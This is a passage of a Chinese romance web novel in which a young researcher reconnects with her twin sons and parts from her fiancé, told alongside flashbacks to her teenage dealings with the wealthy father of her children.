倒是泳池里喊声一片,叫她过去。 “小妹妹!你站近点儿来看!” “她是甄宝珠!” “她才是甄宝珠!” 方楷莹走到泳池边,凭着方楷杰的形容仔细辨认,他只说甄宝珠是最漂亮的人儿,但这里每个女孩都各有各的漂亮。 她看着,忽然泳池边游出一个男孩,伸手过来拉她的脚踝。 下意识的防御。 方楷莹一脚踢在男孩脸上。 “嗷!” 男孩捂着脸,痛呼一声。 泳池的笑声沸反盈天。 后来方楷莹知道,那是秦赫。当天游泳池里有秦赫,有甄美丽,而甄宝珠是笑得最大声那个。 当时方楷莹心里慌张,往后连退几步,便撞在甄世明身上,他身上带着泳池里的潮气,湿发的水珠顺着颈线没入胸肌,又洇在方楷莹的T恤上。 甄世明把墨镜卡进发间,低眉看着她,方楷莹仿佛又听到咕咚咕咚的心跳声。 “我找甄宝珠。”她一直保持着手贴裤线的好学生站姿。 “你是复读机吗?”甄世明扬起唇角,露出一抹坏笑:“报警的人是我,你找甄宝珠不找我,是怕我么?” 方楷莹咬紧唇壁,鼓起勇气摇头。 甄世明手指轻蜷,把白玉捻在指尖,俯身与她对视,女孩睫毛长长直直,透着股倔劲儿,但仅抬一下眼迎他目光,羽睫又迅速盖住眼帘。 他发出很轻的笑声:“嗯,不怕我。” 方楷莹手心里早就出了汗,暗暗贴着牛仔裤的裤缝,炎热的夏天,甄世明的笑容让她有种头晕中暑的感觉。 甄世明把一条大浴巾披在肩上,看了一眼保镖,迈开长腿走了。 方楷莹愣站原地,直到保镖提醒:“这里不方便说话,请跟我来。” 方楷莹第一次进甄世明的卧室。 整体深木色的复古风格,很有品味,套间设计,衣帽间与浴室相连,木地板一尘不染。 方楷莹站在环幕玻璃窗前等着,那窗户仿佛吸收了所有的阳光,她的T恤后背渗出更多汗,那片小小的湿印早已融进热汗之中。 甄世明洗了个澡,再从浴室出来清清爽爽,他穿一身舒适垂顺的亚麻,logo很小,在胸口处,一手仍握玉,一手拿杯冰橙汁,但不是给她喝。 他看方楷莹,觉得有趣。 房间这么大,她偏站在最晒处。 刚才踢人踢得起劲,现在站在那一动不动,看上去是老实姑娘,蔫坏蔫坏的,一点儿亏都不吃。 “知道刚才踢的是谁吗?” “你想跟你弟弟一起进去?” 方楷莹摇头,声音很轻地问:“想和解的话得赔多少钱?” 他把吸管抿在唇边,人舒舒服服窝进桌边躺椅,懒懒散散地说:“你是说踢人脸上这次,还是侵入住宅那次?我建议你赔这次,方楷杰让他进去老实几年。” 方楷莹听不懂明显的玩笑话,想了很久,默然无语,摘下手表,轻放在他的书桌上。 甄世明斜看一眼,眉棱微抬,“什么意思?” “你不是对我的手表感兴趣吗?”她脸上没笑,还敢笨拙地讨好:“送给你。” “谁要你的破东西。”甄世明狠狠棱眼。 方楷莹吃了瘪,手摸在桌上挪,悻悻去拿手表,甄世明手指一勾,把表拿走了。 三秒钟就改主意了。 他起身走近,唇边凉凉的气吹在方楷莹额头:“我对你的破手表没兴趣,但对你这个人有兴趣。” 作者有话说:吊桥效应:心理学中的一种情绪唤醒效应,指当人处于紧张、危险或刺激的情境(如走吊桥)时,会因生理上的心跳加速、呼吸急促等反应,错误地将这种生理唤醒归因于身边的人,从而产生浪漫的好感或爱慕之情。 第23章 他身上带着刚洗澡后的潮湿, 说话间有淡淡的橙子的气息,一双极好看的眼睛观察着方楷莹的表情,连她吞咽口水的细微动作也捉进眼睛里。 他凑近眼前, 笑着低问。 “怕不怕?” 方楷莹晃神, 她的注意力太过集中于身体上的变化——心律不齐的感觉又出现了。 “嗯?” “我说对你感兴趣,你怕不怕?或者我说, 这个房间隔音很好, 我对你做什么过分的事都不会有人听到,你怕不怕?” 方楷莹懵懵懂懂地眨巴眼,甄世明就知道她又没听懂, 恐吓弱智还是得用最直白的语言。 “我要揍你的话, 你怕不怕?” 她这才看出紧张, 后退一步,肩膀耸起, 眼睛若有似无地扫过他手里的手表。 “怎么,又录下了?” 方楷莹心虚地摇头。 “我能再上你的当吗?” 她攥紧衣摆, 僵在那里。 甄世明扯扯唇, 早猜到用意,捅破没意思, 继续瘫坐躺椅, 脚翘在踏凳, 一副吊儿郎当模样。 方楷莹还站在那片光照最充足的地方,晒得脸色红彤, 额出细汗, 一副小骨架藏在皱皱巴巴的七分短袖里,衣服质量真是差劲,领口穿成波浪形状, 透着光能看到女孩子腰线。 他在暗处闭了闭眼。 “其实这些事解决起来也不难,”甄世明嗓子微干,又饮了一口橙汁,“签个卖身契,用你三年换你弟弟三年。” 他和秦赫刚合伙开了一家科技公司,弄得声势浩大,上次见面之后他觉得方楷莹有价值,后来查到她参加过很多科技创新比赛,都拿了不错的奖项。 免费劳动力谁不喜欢? 所以趁方楷莹还不知道自己能创造出多少价值时,他捷足先登,与她敲定所有创意的知识产权都归甄世明的科技公司,连唬带骗的就让她轻易就在合同上签下自己的名字。 方楷莹并不觉得是什么大事,因为那时她自己都不知道今后会有什么成就,但年轻的甄世明,看到了她身上的无限可能。 甄世明撑着手臂站在一边看她签字,见字如人,她的字一笔一划,规矩工整。 “方楷莹,我当是萤火虫的萤。” “是像玉一样的美石,不是虫子。” “你倒挺会夸自己,”他乜了一眼,满不在乎道:“我还叫你萤火虫,记住,你是只小虫子,我随手一下就能捏死你。” 方楷莹颓颓地站着不顶嘴,甄世明才心满意足,把那手表拎起来,对方楷莹说:“伸手。” 她懵懵地“嗯?”了声,甄世明竟故意学她“嗯?”了一声。 “谁要你的旧东西,我俩很熟吗?” 方楷莹感觉手被人捏住,表盘凉凉地搭在手背,甄世明给她戴好手表后,手又移到腕上两寸,轻握一下,冰冰凉凉的皮肤触碰到热温。 等她有所反应时,那骨节分明的手早挪开,又把玉石拿起,像在对比。 “还不走?” “等我送你?” 保镖进门等着带她出去,她竟然毫无反应,看起来并不是太聪明的样子。 方楷莹还沉浸在皮肤触到热温那一刻的恍惚之中,再一看甄世明,凶巴巴的,她不敢再想,呆头鹅一般跟着大人走出去。 她走后,房间里出了汗的香味还没有散,甄世明手里捻着玉石,唇中抿了冰块。 闭上眼,那宽大旧衣衫下的莹白腰线立现眼前,他突然觉得又热又烦。 “十七岁。” “真他妈作孽。” — 而方楷莹也在出了甄家之后就回到医院,但没回弟弟的病房,又去了赵医生的诊室。 “又来做心电图?” “我的感情出现了一些状况。” 多年之后又见面,赵医生与她半开玩笑,表示她始终记得方楷莹十七岁时什么样子,现在方楷莹虽然已经不穿七分袖T恤了,但她依然确信方楷莹的病始终没好。 方楷莹后来已经不会一念而动了,和汪先生的恋情是她经过深刻思考之后才开始的,现在出了问题,她也在认真寻求方法。 将这段时间发生的事情告诉了赵医生,赵医生结合之前的病程,认真给出挽回婚姻建议时,发现她望着窗外走神。 “我觉得你还是应该仔细思考一下,你是不是真的想挽回?” 赵医生改口说道:“从前你听到自己不愿意听的话就会走神,你是希望我给你放弃的建议吗?” 方楷莹沉默着摇头,又变得话少。 “你是真心喜欢这位汪先生,还是担心以后的生活缺乏照料?” 方楷莹抿唇,说:“我不知道。” 赵医生摇头,“这样对别人是不公平的。”- 回家之后方楷莹才发现汪先生把自己的东西都搬走了,只留下一张纸条。 【楷莹,我定了一周后回国的机票,希望你愿意跟我走。】 该谈的话昨晚已经谈过了,汪先生已经不想再继续这样“我委屈你沉默”的谈话模式,不如冷静下来。 他向公司递交了辞职申请,那几天一个人在酒店里,回想和方楷莹的开始到现在。 直到甄美丽把他从酒店里拉出来,带着他去了一个城市边缘的高山,那里有最好的风景,半山腰也可俯瞰整座城市。夜幕下的京市这边红砖黛瓦古色古香,那边高楼林立钢铁丛林。 甄美丽说他的辞职报告没有批下来,国外的分公司需要一个工程师,甄世明同意了。 “这里面你做了不少努力吧?”汪先生心知肚明,也认真向甄美丽道一句“谢谢”。 甄美丽捋了捋被夜风吹乱的长发,颇为坦然说道:“既然要退场,不如捞点儿好处再走,甄世明在这方面很大方的。” “你怎么知道我要退场?” “你定了几张机票?”甄美丽反问。 “一张。” 汪先生站在这里,想起方楷莹刚回国时,也带他来这里,当时他以为要和方楷莹在这个地方呆上一辈子。 现在他留下最后一张纸条,心里早已经清楚答案,他只希望方楷莹最后能用一个体面的理由拒绝,而不是跟他说她心里不愿意跟他走。 半山腰有点儿冷,甄美丽捂住手臂,他很绅士地把外套脱给甄美丽披上,两个人共同看着夜色下的京市。 “楷莹也带我来这儿看过。” “我知道啊。”甄美丽笑了。 “你怎么知道?” “你回头,往上看。” 山顶别墅仅有几栋。 其中一栋,是甄世明的。 怪不得,方楷莹对城市夜景没感觉,对万家灯火没感觉,却偏远望着山顶几盏微光发呆。 “你觉得他们以后会如何呢?”汪先生忽然问甄美丽,这次他好像终于站在了旁观者的角度。 “你希望他们如何?” 他想了想,说:“我希望她过得好。”- 方楷莹在实验室忙了几天。 直到看到甄世明新发的朋友圈,才想起来自己还没有把他拉黑,打开朋友圈视频一看,橙橙和芯芯在幼儿园表演节目,两个可爱小男孩穿浅米色儿童套装,戴着一模一样的红围脖,手拉手合唱一首儿歌。 “Fireflye back to me(萤火虫啊,快回来)Make the night as bright as day(让我的夜晚重新点亮)Ill be looking out for you(我要眺望你的身影)Tell me that your lonely too(你要告诉我你也孤独)” 方楷莹的微笑挂在唇角,气消一大半,顺手点赞,保存视频,返回查看微信来信,蓝梦问她在干什么。 方楷莹:【刚看完甄世明的朋友圈】 蓝梦:【什么时候发的?】 方楷莹:【三分钟前。】 蓝梦:【我没看到,秦赫也没。】 蓝梦:【仅你可见。(坏笑)】 方楷莹:【】 蓝梦:【我在科莫湖和秦赫度蜜月,回去你请吃饭哦,给你们一家子都带了礼物呢。】 方楷莹:【谁们一家?】 蓝梦没回她,方楷莹的微信又响起来。 甄世明:【光点赞?】 她把手机一扣,不回。 一会儿甄世明又发来一条六十秒的语音,方楷莹懒得听,转化成文字,看到是那首歌的歌词。 方楷莹最终还是没忍住按下播放键,耳朵靠近听筒边,听着孩子稚嫩的童声,语音末尾芯芯还在问爸爸,方阿姨什么时候再来家里? 她正沉浸在这治愈人心的童音里,甄世明又一条60秒长语音紧跟而来自动播放,好像早知道发一次她不会听,钓鱼放饵似的,让她措不及防。 【方楷莹你什么意思,明不明白大人吵架祸不及孩子的道理?芯芯和橙橙每天在家盼方阿姨,我是不是应该告诉他们方阿姨不喜欢你们,以后不来了巴拉巴拉】 一句一句像冲击炮似的,吵得方楷莹脑瓜疼,她闭上眼睛,深吸一口气。 【今天晚上就去。】 【但我不想见你。】 甄世明秒回。 【我想见你吗?】 【晚上有工作,早回不去。】 晚上方楷莹去到山顶别墅,果然没和甄世明碰面,孩子说爸爸刚走。 如今她和甄世明的状态大概是,她在他不在。她在躲甄世明,甄世明知道她在躲,两人都各自憋着一股劲儿,不知道该以什么样的状态来面对对方。 朋友吗?不是。 敌人吗?不至于。 陌生人?有两个孩子。 这两个孩子一见到方楷莹就热切切跑来,拉着手把她围起来,可爱的笑脸问她这段时间怎么不来看他们。 方楷莹面露难色,“最近忙…” 芯芯眨眨眼:“和爸爸吵架了吗?” 方楷莹揉他的小脑袋:“芯芯为什么总觉得我和爸爸会吵架?” “因为怕你们吵架。”芯芯攥着手指,小胳膊一扭一扭,显得忸怩不安,“方阿姨不跟爸爸生气,就算爸爸惹你生气,但芯芯很乖,不会惹你生气。” 方楷莹勾住他的小手,笑说:“芯芯这么可爱,我怎么会生气呢?不会的。” 今晚来时,她带了两个空水瓶和热熔胶,打算带孩子做“苍鹭喷泉实验”,她记得之前答应过芯芯的,只是准备时间短,她手边材料很少,只能就地取材。 “我们今天先做一个简单的,把原理搞懂,以后再做大的,放在楼后小花园,可以给橙橙和芯芯种的小花草浇水那种。” “好耶!”两个孩子欢呼。 芯芯是有耐心的,橙橙没有。实验做到一半,他说方阿姨的瓶子毫无美感,吸管颜色选得也不好看,自己跑去杂物间寻找好看的吸管。 无奈之下,方楷莹只好一边和芯芯先做别的部件,一边等着橙橙选好漂亮的吸管。 等待的时间,汪先生打来电话。 方楷莹接起电话,汪先生就听到动画片的响声和小孩子的声音。 “楷莹,方便说话吗?” 方楷莹避开孩子走到门外。 “你说。” “我的飞机是明天。”汪先生说。 “我…我的护照…” “回国时被收走了,我知道。” “你明明知道……” 汪先生在电话那头轻轻叹息。 “因为我愿意相信,我们分开是因为你的护照被收走了,而不是因为你不愿意跟我走,楷莹,就当我最后骗一下自己吧,我已经不想再听残忍的话了。” “楷莹,爱情本来就不公平,我选择爱情就是接受这样的不公平,过程虽然很痛,但我不为结局悲伤。” 方楷莹垂眸,“对不起。” 汪先生在电话那头淡淡地笑,“跟你恋爱快要两年,我第一次听你道歉。” “我…送送你吧。”她低声说。 “嗯,行。” “航班号发给我,我一定准时到。” “好。” 这通电话打得时间不长,方楷莹挂断电话时,听到小孩子在门口跑开的声音。 再回到她和孩子的小“实验室”,她发现芯芯脸上没了笑容,她捏捏孩子的脸,芯芯把小脸猛地躲开,突然把她剪好的水瓶漏斗推到地上。 “怎么了芯芯?” 小小的人儿一言不发,不管她怎么问,他都抿着嘴巴不开口,倔脾气和她一模一样。 这时她才发现自已曾经有多气人。 方楷莹也不再问,捡起漏斗,沉默着用热熔胶粘好,再看芯芯,还是一副生气表情,也不再问她“为什么要这样粘起来?” 突如其来的脾气让她纳闷,橙橙又在储物间呆了很久,她打算过去看看。 起身出门,小人儿也跳下椅子,两条手臂从身后穿过,紧紧缠抱住她,双手锁得紧紧的。 她回过头,芯芯清秀的眼睛里包着泪。 方楷莹忙扯了两张纸巾,“芯芯怎么了,热熔胶熏眼睛了?” 芯芯再说话时,眼睛下了淅淅沥沥的小雨,哭声像一声声闷雷。 “别走,妈妈。” “妈妈,别走。” 作者有话说:“Fireflye back to me(萤火虫啊,快回来)Make the night as bright as day(让我的夜晚重新点亮)Ill be looking out for you(我要眺望你的身影)Tell me that your lonely too(你要告诉我你也孤独)” ——出自歌曲《firefly》 第24章 方楷莹的心里下了一场小雨。 芯芯眼中的泪彻底将她淋湿。 “你叫我什么?” “妈妈。” 芯芯的两手因为太用力抱她而颤抖, 脸颊紧紧贴着妈妈,大张着嘴哭得眼皮通红,眼泪口水鼻涕一起流。 方楷莹没处理过这种情况, 心疼地把他抱在怀里, 却说不出一句话。 芯芯断断续续地抽噎,眼睛里的倔强似是她的复刻, “是不是芯芯做错了什么事, 妈妈才又要走,我会很乖的,我以后不和哥哥抢东西, 能不能不要走?我不让妈妈走!” 小小的孩子哭天抹泪, 几乎快要晕厥过去。方楷莹眼睛酸酸的, 紧紧搂着怀里的小人,向他反复保证:“我不走。” 终于在方楷莹对天发誓之后, 芯芯的眼泪才勉勉强强停流。极致的情感宣泄过后,芯芯咬着嘴唇, 抑住时不时的那一声“嗝”。 方楷莹又想哭又想笑。 “芯芯, 你是什么时候知道我是你妈妈的?” 他又“嗝”了一声,奶声伴着鼻音说:“第一次见到方阿姨…妈妈的时候, 我就知道。” 她回想起和芯芯初次再见, 低头在医院长椅上的小孩木瞪瞪地看她。当时, 他在想什么呢? “你怎么认出妈妈的?” 芯芯神秘地拉住她的手,一直领到二楼小卧室, 他趴在地上, 在床垫底下摸出一张旧照片。 那是一张方楷莹没见过的照片。 拍照角度在二楼栏杆。 照片中看她已经有六个月身孕,肚子微微隆起,坐在地毯上, 怀抱一本厚书,夕阳沐在身上,把她晾晒得舒展,唇边弧弯浅淡,眼中是怀孕之后才有的母性柔光。 她看着照片发怔,那个时候她正和甄世明水深火热互相憎恨着,甄世明限制她的自由,她挑衅甄世明的耐心。 “爸爸说你是方阿姨,我想肯定是我和橙橙做错了什么事,你才不认我们,所以我一直没说,橙橙不知道,爸爸也不知道。”他又委屈得流下眼泪,泪珠珠挂在通红的小脸蛋,方楷莹伸手抹去。 太难为他了。 这么小的孩子,战战兢兢守着自己的秘密,明明妈妈就在身边,却小心翼翼地相处,生怕哪一天惹了妈妈不开心就会再次离去,直到在房间门口偷听到妈妈打电话,以为她又要走,才彻底失控。 芯芯的眼泪淹了脸颊,娇嫩的脸蛋沁出泛红的血丝,方楷莹把他拉去洗漱间,好好给他洗了脸,仔仔细细擦上护脸霜。 “妈妈,”他的脸颊被方楷莹揉搓,小嘴巴努起来,“你要走的话,能把我也带走吗?” “妈妈说了,不走。” 芯芯依然将信将疑:“妈妈,那你明天为什么要坐航班?” “妈妈要去送一个朋友。” “妈妈,如果你要走的话,一定要把我和哥哥带走,我们是你的另一半。” 方楷莹忍不住笑,在他脑门儿轻弹一下,“傻孩子,‘另一半’不是这么用的。” “是!”芯芯倔倔地坚持,说:“我和橙橙的名字里有你一半,我们是你的另一半!” 他是个认字多的孩子,却还不懂什么叫偏旁部首。甄橙和甄芯的名字是甄世明起的,方楷莹并没有注意到,当时只觉得是好读的名字。 方楷莹愣了愣神,问芯芯:“那你哥哥知道吗?” 她之所以不敢坦白,是因为不太确定孩子们的反应。消失了很多年的妈妈突然回来,会不会给孩子造成困扰?现阶段的平稳生活里突然融进另外一个人,会不会感觉不适应? 这些都是未知。 “哥哥不知道,妈妈上次说要在冬至回来,我猜是想给哥哥惊喜,所以就没有告诉哥哥。”芯芯仰起头,伸出小拇指,天真地问:“妈妈,这是我们两个的秘密吗?需要拉钩吗?” 方楷莹伸出手指握住孩子的,“可以呀。” 一大一小两只手荡漾起来的时候,小男孩眼睛又变得潮湿,低声轻语:“拉钩妈妈永远不会走,不骗芯芯。” 方楷莹亲亲他的额头,认认真真承诺:“妈妈永远不会走,不骗芯芯。”- 汪先生走那一天,甄美丽开车送他,他仅有一个行李箱,来的时候装满爱意,走的时候带走决绝。 “谢谢你。”汪先生再次道谢。 “谢我协助破坏你的婚姻吗?”甄美丽细弯的眉轻轻挑起,今日特意画了全妆来送他。 汪先生的笑容牵强,温润的眉眼透着伤感,“谢谢你出差时做我的浏览向导,现在想起来我觉得那是这段时间最好的回忆。” 那天他坚持要把未婚妻的爱情故事听完,甄美丽坚持带他出去散心,他谢她的善意仁慈。 “没准有一天,你也会当我的浏览向导,我没去过纽约,如果去的话一定会联系你,到时候我们不说方楷莹,不说甄世明,我们就说自己,希望下次见面你别在消沉。”甄美丽眨了眨眼,在他肩膀锤了一下,用没过四级的英语鼓励他:“CHEER UP!” 汪先生点点头,把这当做承诺,郑重地回应了一声“好”- 方楷莹准时到达。 她把订婚戒指摘下来,重新物归原主。卡地亚的love系列秀气内敛,当方楷莹戴上时它才有存在的意义,如今在他手中光彩尽失。 汪先生把戒指攥在手里,对方楷莹说:“对不起,我想再次为那天晚上的事情道歉。” 事到如今,方楷莹已经不想再探讨谁对谁错,他有错,她也问心有愧。 方楷莹耸耸肩,露出一个浅淡的笑容,“我原谅你,请你也原谅我。” 相送和离别总是有太多无法言说的情绪,不然为什么人们选择拥抱呢? 方楷莹张开双臂,以最初相识的单纯与腼腆拥抱他,轻轻说了声再见。 他也抱住方楷莹,手掌落在发顶,温柔地揉乱头发,在耳边说:“我希望你能过得好,但甄世明不是好人,你们之间发生的不是爱情,他一直在利用孩子绑架你,这种畸形的占有欲很可怕。请你在做与他有关的决定之前,先想想当初为什么离开,好吗?” 方楷莹皱了皱眉,汪先生把最后一点儿留恋吻在她的发间,然后放手,走到安检口,把那枚订婚戒指扔进弃物箱,最后的执念终于放下了,曾经因为方楷莹送他时没有停留而心中不悦,现在他知道方楷莹会一直目送他。 大概以一种难以形容的表情- 方楷莹呆站在原地很久,直到听见身边的甄美丽在与人交谈。一转身,甄世明带着两个孩子站在身后不远处。 她的脑海里忽然嗡了一声。 缓缓走近,没理甄世明,弯腰和两个孩子打招呼,芯芯看她的眼睛闪闪亮亮,但甄世明的脸色就没那么好了。 “机场拥吻。”他脸上的表情证明刚才目睹一切,咬了咬牙不忿地说:“送情郎呢?” “嗯。”方楷莹淡淡一声,就能把他气个半死,还要故意问道: “你不问我为什么不走吗?” 甄世明扬起下巴,脸色高冷不可接近:“跟我有什么关系。” 说真的,跟他有什么关系。 再说,护照都拿不出来。 吓唬谁呢? “那你来机场干什么?”方楷莹问。 “秦赫两口子今天回国,我来接。” “带着孩子来接?” “不行么?” “行,”方楷莹点头,“那你等吧。” “你不等吗?” 甄世明一手拉扯一个孩子,胳膊要被两个小混蛋扯断了,刚想着递给方楷莹一个,可她扭身就走。 “他们让你接机,又没让我接机。” 甄世明:“”- 走出机场,方楷莹又去了心理医生的诊室,没什么特别想倾诉的,就是要汇报一下她最后的决定。 以前她也是这样,在甄世明公司实习的事也和赵医生说,赵医生当时一边担忧她弟弟,一边又认为这是一个治疗的好机会,反复向她建议要尝试用“吊桥效应”治疗“述情障碍”。 那时她刚上大学,周末和寒假都去甄世明的科技公司,她是一个重视履约的人,但在那之后,她在公司没见到过甄世明本人,他的爱好太广泛,把钱随便投在科技公司,人每天都泡在赛车俱乐部。 他与方楷莹天上地下,云泥之别。 那一年方楷莹家里还发生了很多事,最大的事就是方楷杰失恋了。 他们签订合同之后,方楷杰也免于牢狱之灾,甄世明同意和解并且没有索要赔偿,只是让方楷杰手写道歉信,起初方楷莹还有些惊讶,后来才知道,甄宝珠突发奇想要出国,并且快速甩了方楷杰。 本以为一场闹剧将要收尾,谁料方楷杰陷入失恋的情绪里,人也走向极端,见天不吃饭,试图绝食饿死自己。 方霞的天塌了,每天在家里陪着儿子,有时他们沉默,有时听到方霞哭喊,这一切都让方楷莹感觉仿佛回到了童年爸爸刚走之后的生活。 她不禁想起方楷杰在医院断手断脚,面临牢狱之灾时,甄宝珠在自家泳池心情悠闲、笑得爽朗。 爱情到底是什么呢? 方楷莹不解。 于是她像五岁时那样,独坐卧室不出声,当妈妈再一次抱怨天地不公命运悲惨的时候,她站在要死要活的方楷杰的床头,很认真地把在甄家看到的说给弟弟听,最后她说:“我觉得,你死了她也不会在意。” 第二天,方楷杰开始吃饭了。 — 日子就这样一天天过,她入学第一天认识了蓝梦,在甄世明的科技公司兼职第一周,认识了她的研究生导师,她是甄世明公司邀请的特约专家,也是甄世明的姑姑。 方楷莹一进入公司,甄真就开始注意她,特意出难题考了几次,又带着她做了一两个项目,相处一番觉得方楷莹哪儿都好,只是性格有点儿怪,遇到难题不崩溃,有了成果不欣喜。 不过她见过很多奇怪的人,早就见怪不怪,也觉得这样的人往往有着超凡的创造力。 于是她对方楷莹发出邀请:“楷莹,你想不想做我的研究生?” “嗯”方楷莹正专注于研究公司新入的大型仪器,拿着本说明书头都没抬,回道:“我考虑一下。” 甄真:“” 甄真气得不轻,她本是显赫家庭出来的真公主,学校最年轻的教授,在本专业也算有一号儿,每年研究生招考后她邮箱里的邮件都处理不完,怎么到了方楷莹这儿就好像她上赶子呢? 心里不舒服,甄真给侄子甄世明打电话,两人关系好,开口便直入主题质问:“你这是招的什么人呀?” 电话那边是赛车场鼎沸的人声和发动机降档回火的爆声。甄世明回答得敷衍:“很正常,她就那样。” “这正常吗?”甄真彻底不淡定了,竹筒倒豆子般说:“她对你公司那些项目一点儿都不感兴趣,态度非常消极,只对自己感兴趣的东西积极,你知道吗?前几天她把实验室的快速退火炉给拆了!到现在都没装好!” “正常啊,谁会对自己不感兴趣的东西积极?您放心吧,她能装回去,装不回去让她赔就成了。” 甄真从小看着甄世明长大,很了解他,敏锐地察觉他不对劲,愤恼的心情忽然转成八卦:“你小子也不正常。从来都是帮亲不帮理,现在怎么帮着外人说话?你想气死我呀?还是情窦初开了???” 甄世明那边半天没说话,最后扔出一句“我还有事儿”就把电话挂断了。 “两个神经病!”甄真对着电话骂- 方楷莹当时对这位年轻的教授没兴趣,因为她正忙着和室友组队参加科技创新赛。 十七岁手搓的手表给了她一些灵感,她打算做一个能飞起来的,就不会被身材高大的人抢走了。 当然,现在简称无人机。 宿舍里几个姑娘各有分工。方楷莹负责的是无人机的“大脑”,集成处理器和传感器。 蓝梦主要负责机架和起落架设计,她爱美,设计的多旋翼形态复杂,还非得把那玩意儿弄成粉色,可学校里的3D打印机想用的话得提前好久预约。 方楷莹脑筋一动,想到了哪里有不用预约的3D打印机,几个姑娘趁着茫茫夜色偷偷潜入甄世明的科技公司。 "这儿怎么放着这么多跑车模型?"蓝梦好奇地拿起银灰色的阿斯顿马丁模型来看,“哇,这车真帅!” 方楷莹压根没注意,只顾着自己那点儿东西,“快点儿开机,偷刷员工卡进来的,我们做完就走。” 蓝梦边干边说:“这公司前面的广场地方很大,我们可以在外面组装好试飞,有什么不对的再回来改。” 偷偷潜入让方楷莹有种做坏事的感觉,本来应该羞愧难当,但她却暗戳戳兴奋。 手心出了汗,心脏咕咚咕咚。 让她很轻易就想起甄世明。 直到蓝梦捅了捅她的胳膊,她才停止在3D打印机前发呆。 “大公司的设备就是先进,精度都不一样。”蓝梦把刚做好的东西端在手里,左看右看。 她们偷偷摸摸走楼梯,宿舍里其他几个姑娘正在楼下等着,冻得搓手跺脚。 京市已经入春,但晚上还是冷。 她们在无人角落打着手电把组装,其他姑娘觉得冷,都会把手藏进袖口里,只露出手指头,而方楷莹挽着袖口,手已经冻得青白,眼神却始终专注,没感觉似的。 无人机由方楷莹控制着放飞,蓝梦给每人都准备了一个工地安全帽,以免这东西掉下来砸到脑袋,她拉住莽莽撞撞的方楷莹,把安全帽扣在她脑袋上系好。 于是,当甄世明和秦赫带着一帮狐朋狗友,开着几辆跑车回到公司,准备取走公司制作的跑车模型时,看到前广场堪称诡异的一幕。 几个农民工大半夜追着UFO跑。 车灯一晃,跑在后面的几个呆在原地不敢动,只有那个二百五跑在最前面,仰着头看不到车灯已经快要闪瞎双眼。 甄世明下车看着,方楷莹脸上没什么表情,看起来有点儿呆,眼珠却明亮,跟着微亮的轨迹在眸中流转,脚步不停,直冲冲朝着他奔跑过来。 她就这样脖颈昂扬地跑来,脚步带起轻盈的风,催着路边的悬铃树在料峭的夜晚抽出嫩绿。 一整个春天撞进他的怀里。 第25章 “对不起, 对不起。” 方楷莹定住脚步才发现自己撞上了谁,虽然好几个月没见,但她发现这人仿佛刻印在脑海里一般。 两手直直戳进他敞穿的皮衣, 内里热乎乎的温度让她开始察觉自己的手已经冻了好久, 不由自主屏住呼吸,她忘了继续操作控制器, 无人机直直掉下来, 砸了秦赫的车。 闯祸了。 老实了。 “砰”地一声响,她的唇角抿成下弯弧度,紧紧闭眼, 不敢睁开眼, 希望是她的幻觉。 而秦赫已经撸起袖子, “又是你!我今天不揍你,我——” “赔就是了。”甄世明倚着车头, 懒倦地伸臂横拦,微微俯首, 看着方楷莹, 说:“连退火炉一起赔。” 她跟着甄世明上楼“指认现场”,室友们留在楼下大堂接受盘问。 “能不能把你的劣质安全帽摘掉?” 方楷莹这才想起来头上还顶着黄色安全帽, 摘下来, 头发被压得扁扁的, 还有几根在春天的干燥气候里自由漂浮。 甄世明翘着腿,手插进皮衣侧兜里, 横着眉看她, 那一副低眉顺眼的倒霉样儿,让他忍不住唇角荡漾起笑意:“刚才玩得不开心?” 她闷闷地攥紧安全帽带子,低着头不言语, 像做错事的孩子。 “想怎么赔?”甄世明问。 还是不言语。 “被人毒哑了?” “没…”她说话时有点鼻音重。 “感冒了?” “没…”她吸吸鼻子。 甄世明没耐心了,站起来揪她耳朵,把人拉向自己,发觉她耳朵凉,脸蛋也凉,碰上去像一块冷玉。 “问你两句话,三棍子打不出个响屁,饿了不知道吃饭,饱了不知道放碗,下雨不会往家跑,大冷天不知道穿衣服?” 他以前大概最讨厌这样的人,甄家的孩子都会来事,跟在他身前身后,近近切切甜言蜜语的,闷葫芦他不待见。 “疼!”方楷莹气咻咻跟他喊,耳朵都冻僵了,还拽,拽就拽了,手指还微微发烫,让她心跳得难受,她喊完又咕哝一句:“你别总摸我。” 空气安静了几秒钟。 甄世明应该是生气的,但不知怎么,这话传进耳朵里,他生不起来气,反而感觉心被轻轻挠了一下。 手缓缓挪开,甄世明冷脸了,公事公办地问:“想怎么赔,说话。” “多少钱?”她嘟嘟囔囔地问。 “秦赫修车几十万,公司仪器上百万。”甄世明的手指有节奏地敲在桌面,像在弹奏某种轻松快意的小调。 方楷莹垂丧着挠头,想了又想,说:“仪器我能修好的,车我也能试着修!” 甄世明嗤笑一声:“这么厉害?宇宙飞船能不能修?” 方楷莹:“” “仪器给我修好,刚才那个东西有点儿意思,归公司了。”甄世明拍板决定。 方楷莹摇头,拒绝得很干脆:“那是我们用来参加比赛的。” 甄世明眉梢微抬,语气轻松地威胁道:“半夜偷偷潜入公司,盗取公司机密,造成上亿损失,我用这个理由把你们都送进监狱里,你们可以手拉手参加女子监狱缝纫机友谊赛。” 方楷莹手里拳头紧攥,气呼呼把唇抿紧,下巴鼓成一个圆圆的小包,立着眼睛看他。 “瞪我做什么?” “那是我们用来参加比赛的。” 这声音底气不足,听着还挺可怜,甄世明本就懒得和她计较,现在更是心一软 ,“先参加比赛,公司低价买专利,给你的钱用来赔车。” 方楷莹刚要说什么,甄世明立刻打断,“再说话就去护城河里捞你的参赛作品。” 她乖乖闭上嘴,刚才还昂扬的一个人,彻底蔫儿了,她想不明白,开始只是一见甄世明,她的心慌病才发作,现在只是想到甄世明,她就心慌,而且他对她说那些刻薄言语的时候,她还觉得委屈。 “没别的事我走了。”她不想再和甄世明待在一起,没等他再开口,就抱着头盔哒哒哒从实验室里跑出去- 甄世明目送她离开的背影,瘦瘦窄窄的身条,跑起来还挺快。 秦赫推门而入,挡住他的视线。 “赛车模型拿到了,楼下那几个女孩也都问过了,A大的高材生,学霸就是不一般,大半夜的精神头真足。”他把那辆银灰色的模型往甄世明手边一推,拿出手机乐滋滋的,“不过有一个妞挺好看的,刚加了个微信,名字也好听,蓝梦。” 甄世明没搭理他,手里拿着车模走神,秦赫顺着高层落地玻璃往下看,那几个姑娘又在楼下,聚在一起不知道在讨论什么,没一会儿,破无人机又飞起来了,就连那一帮狐朋狗友也站在一边仰头看着。 